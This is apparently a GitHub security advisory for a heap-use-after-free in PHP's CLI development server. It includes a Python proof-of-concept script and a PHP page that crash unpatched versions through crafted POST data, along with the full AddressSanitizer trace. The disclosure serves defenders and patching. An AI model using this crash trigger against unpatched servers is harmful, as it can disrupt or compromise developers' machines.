Skip to content

Heap-Use-After-Free in sapi_read_post_data Processing in CLI SAPI Interface

Low
bukka published GHSA-4w77-75f9-2c8w Nov 21, 2024

Package

No package listed

Affected versions

< 8.1.31
< 8.2.26
< 8.3.14

Patched versions

8.1.31
8.2.26
8.3.14

Description

Summary

A heap-use-after-free vulnerability in the sapi_read_post_data function within PHP’s CLI server allows an attacker to potentially exploit memory safety issues during POST request processing.

Details

The vulnerability resides in the php_cli_server_client_populate_request_info function in PHP's CLI SAPI. This results in the handling of a dangling content_type pointer at line 175 of SAPI.c. The CLI improperly manages memory during the processing of content_type, leading to a use-after-free condition that could result in memory corruption. The issue is triggered by specific crafted POST data, as shown by the following AddressSanitizer output:

==82343==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001ecf8 at pc 0x55555581b44f bp 0x7fffffffdcf0 sp 0x7fffffffd4b8
READ of size 34 at 0x50600001ecf8 thread T0
    #1 0x5555563bfadb in sapi_read_post_data /php-8.3.13/main/SAPI.c:175:43
    #2 0x5555563bfadb in sapi_activate /php-8.3.13/main/SAPI.c:469:4

PoC

  1. exploit.py
import requests

url = 'http://localhost:8080/exploit.php'

php_crash_data = "AAAAAAA"

print("Sending payload 1...")
hex_response = requests.post(url, data={'input': php_crash_data})

print("\nSending payload 2...")
raw_response = requests.post(url, data=php_crash_data)
  1. exploit.php
<?php
$binary_data = file_get_contents('php://input');
echo $binary_data ? "Received Data:\n$binary_data" : "No input provided or data was empty.";
?>
  1. Start the PHP server compiled with ASAN: In the directory containing exploit.php, run: ./sapi/cli/php -S localhost:8080 &
  2. Run the exploit: Execute the PoC script by running: python3 exploit.py

Resulted in this output:

root@32fbd16f3ed1:/php-8.3.13# ./sapi/cli/php -S localhost:8080 &
[1] 82343
root@32fbd16f3ed1:/php-8.3.13# [Sat Nov  9 07:08:06 2024] PHP 8.3.13 Development Server (http://localhost:8080) started

root@32fbd16f3ed1:/php-8.3.13# python3 exploit.py
Sending payload 1...
[Sat Nov  9 07:08:14 2024] [::1]:54356 Accepted
[Sat Nov  9 07:08:14 2024] [::1]:54356 [200]: POST /exploit.php
[Sat Nov  9 07:08:14 2024] [::1]:54356 Closing

Sending payload 2...
[Sat Nov  9 07:08:14 2024] [::1]:54360 Accepted
=================================================================
==82343==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001ecf8 at pc 0x55555581b44f bp 0x7fffffffdcf0 sp 0x7fffffffd4b8
READ of size 34 at 0x50600001ecf8 thread T0
    #0 0x55555581b44e in strlen (/php-8.3.13/sapi/cli/php 0x41b44e) (BuildId: 712b3d4fbdcb978a011679cd1c90ada321af14cf)
    #1 0x5555563bfadb in sapi_read_post_data /php-8.3.13/main/SAPI.c:175:43
    #2 0x5555563bfadb in sapi_activate /php-8.3.13/main/SAPI.c:469:4
    #3 0x555556394fce in php_request_startup /php-8.3.13/main/main.c:1795:3
    #4 0x555556c42e7b in php_cli_server_request_startup /php-8.3.13/sapi/cli/php_cli_server.c:2236:17
    #5 0x555556c42e7b in php_cli_server_dispatch /php-8.3.13/sapi/cli/php_cli_server.c:2316:18
    #6 0x555556c42e7b in php_cli_server_recv_event_read_request /php-8.3.13/sapi/cli/php_cli_server.c:2660:11
    #7 0x555556c46447 in php_cli_server_do_event_for_each_fd_callback /php-8.3.13/sapi/cli/php_cli_server.c:2745:5
    #8 0x555556c3c8e7 in php_cli_server_poller_iter_on_active /php-8.3.13/sapi/cli/php_cli_server.c:932:20
    #9 0x555556c3c8e7 in php_cli_server_do_event_for_each_fd /php-8.3.13/sapi/cli/php_cli_server.c:2765:17
    #10 0x555556c3c8e7 in php_cli_server_do_event_loop /php-8.3.13/sapi/cli/php_cli_server.c:2777:4
    #11 0x555556c3c8e7 in do_cli_server /php-8.3.13/sapi/cli/php_cli_server.c:2909:17
    #12 0x555556c272bd in main /php-8.3.13/sapi/cli/php_cli.c:1344:18
    #13 0x7ffff75301c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #14 0x7ffff753028a in __libc_start_main csu/../csu/libc-start.c:360:3
    #15 0x555555803bc4 in _start (/php-8.3.13/sapi/cli/php 0x403bc4) (BuildId: 712b3d4fbdcb978a011679cd1c90ada321af14cf)

0x50600001ecf8 is located 24 bytes inside of 64-byte region [0x50600001ece0,0x50600001ed20)
freed by thread T0 here:
    #0 0x55555589e77a in free (/php-8.3.13/sapi/cli/php 0x49e77a) (BuildId: 712b3d4fbdcb978a011679cd1c90ada321af14cf)
    #1 0x55555667fff8 in zend_hash_destroy /php-8.3.13/Zend/zend_hash.c:1775:7

previously allocated by thread T0 here:
    #0 0x55555589ea13 in malloc (/php-8.3.13/sapi/cli/php 0x49ea13) (BuildId: 712b3d4fbdcb978a011679cd1c90ada321af14cf)
    #1 0x5555564deb49 in __zend_malloc /php-8.3.13/Zend/zend_alloc.c:3128:14

SUMMARY: AddressSanitizer: heap-use-after-free (/php-8.3.13/sapi/cli/php 0x41b44e) (BuildId: 712b3d4fbdcb978a011679cd1c90ada321af14cf) in strlen
Shadow bytes around the buggy address:
  0x50600001ea00: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x50600001ea80: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x50600001eb00: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
  0x50600001eb80: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
  0x50600001ec00: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
=>0x50600001ec80: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd[fd]
  0x50600001ed00: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 05 fa
  0x50600001ed80: fa fa fa fa 00 00 00 00 00 00 00 04 fa fa fa fa
  0x50600001ee00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001ee80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001ef00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==82343==ABORTING

Impact

CLI server should not be used in production but there is still risk for developers running the CLI server. It may be possible to exploit it if the server only listens on localhost. E.g. a web page may trick your browser into sending a request to localhost. So developers running the CLI server could be attacked by tricking them into visiting a malicious web page. There might be other impact but it's not exactly clear about the likeliness of this attack.

Severity

Low

CVE ID

No known CVE

Weaknesses

No CWEs

Credits